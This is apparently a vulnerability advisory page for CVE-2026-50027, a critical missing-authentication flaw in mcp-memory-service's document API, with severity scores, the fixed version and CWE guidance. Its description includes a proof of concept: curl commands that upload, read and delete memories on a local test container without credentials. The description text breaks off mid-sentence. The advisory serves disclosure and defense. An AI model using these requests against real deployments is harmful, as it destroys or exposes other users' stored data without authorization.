CVE-2026-50027VulnerabilityPublished 2 Jul 2026

mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Affects mcp-memory-serviceSource GCVE Database

Compare

Authoritative record:CVE-2026-50027· Critical 9.8

Not known to be exploited · CVSS 9.8 Critical : upgrade to 10.67.1 as a priority.

Data as of 30 Oct 2026, 06:59 UTC

CVSS 3.1 base score

9.8Critical

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.9% chance of exploitation in 30 days – higher than 61% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 10.67.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: High: There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 14 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade mcp-memory-service to 10.67.1.

Affected software

Product	Affected	Fixed in
PyPImcp-memory-service	Affected <10.67.1	Fixed in 10.67.1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete ### Summary All HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical. ### Details The `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes: - **`src/mcp_memory_service/web/api/documents.py:33`** — `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent) - **`src/mcp_memory_service/web/api/documents.py:43`** — `router = APIRouter()` (no `dependencies=` argument) The affected endpoints and their data-flow sinks are: | Route | Line (source) | Sink | Line (sink) | |---|---|---|---| | `POST /upload` | 149 | `storage.store(memory)` | 449 | | `POST /batch-upload` | — | `storage.store(memory)` | — | | `GET /history` | — | upload metadata response | — | | `GET /search-content/{upload_id}` | 729 | memory content response | 781 | | `DELETE /remove/{upload_id}` | — | storage deletion | — | | `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 | The router is mounted in `src/mcp_memory_service/web/app.py:311`: ```python app.include_router(documents_router, prefix="/api/documents") ``` No `CORSMiddleware` or authentication middleware applies to these routes at mount time. By contrast, the equivalent write endpoint in `memories.py` is correctly protected: ```python # src/mcp_memory_service/web/api/memories.py:136 user: AuthenticationResult = Depends(require_write_access) ``` This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes. ### PoC **Prerequisites** - Docker installed - Repository cloned at `repo` **Build and run the container** ```bash docker build -t vuln-001-mcp-memory-poc \ -f vuln-001/Dockerfile \ repo docker run -d --name vuln-001-poc-container \ -p 18000:8000 vuln-001-mcp-memory-poc:latest ``` The container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication. **Execute the PoC** ```bash python3 vuln-001/poc.py \ --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345 ``` **Attack chain (6 steps)** ``` [STEP 1] GET /api/memories (no auth) → HTTP 401 ← auth guard is active on memories API [STEP 2] POST /api/memories (with API key) → HTTP 200 ← legitimate user stores sensitive data [STEP 3] GET /api/memories (with API key) → HTTP 200 memories_found=1 ← data confirmed [STEP 4] POST /api/documents/upload (NO auth) → HTTP 200 upload_id=<uuid> ← WRITE bypass [STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200 memories_deleted=1 ← DELETE bypass [STEP 6] GET /api/memories (with API key) → HTTP 200 memories_remaining=0 ← integrity impact confirmed ``` Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request. **Manual curl equivalent** ```bash # Confirm auth guard is active on /api/memories curl -i http://127.0.0.1:18000/api/memories # → 401 Unauthorized # Write through document API — no credentials printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt UPLOAD_ID=$( curl -s -X POST http://127.0.0.1:18000/api/documents/upload \ -F "file=@/tmp/poc.txt" -F "tags=cve-poc" | python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])' ) # → 200 OK sleep 3 curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID" # → content returned without authentication # Delete by tag — no credentials curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \ -H "Content-Type: application/json" -d '["cve-poc"]' # → 200 OK, memories_deleted=1 ``` **Observed output** - `GET /api/memories` (no auth) returns `401` — the authentication guard is demonstrably active on the memories API. - `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`. - `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`. - A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request. **Remediation** Add `Depends(require_write_access)` / `Depends(require_read_access)` to ever

CWE-306Missing Authentication for Critical Functionality (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #21OWASP Top 10 A07:2025: Authentication Failures (opens in a new tab)
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
Architecture and Design
Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Architecture and Design
Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment.
OWASP Cheat Sheets
OWASP Authentication (opens in a new tab)
OWASP ASVS 4.0.3
V1.2.3 (opens in a new tab)
V1.2.2 (opens in a new tab)
V1.2.4 (opens in a new tab)
Attack patterns
Choosing Message Identifier (opens in a new tab)
Force the System to Reset Values (opens in a new tab)
Using Unpublished Interfaces or Functionality (opens in a new tab)
Cross Site Request Forgery (opens in a new tab)
Communication Channel Manipulation (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

Community reviews

Loading reviews…

Exploitation evidence

What to do

Affected software

Description

WeaknessesCWE-306

Technical details

References

Community reviews

Related threats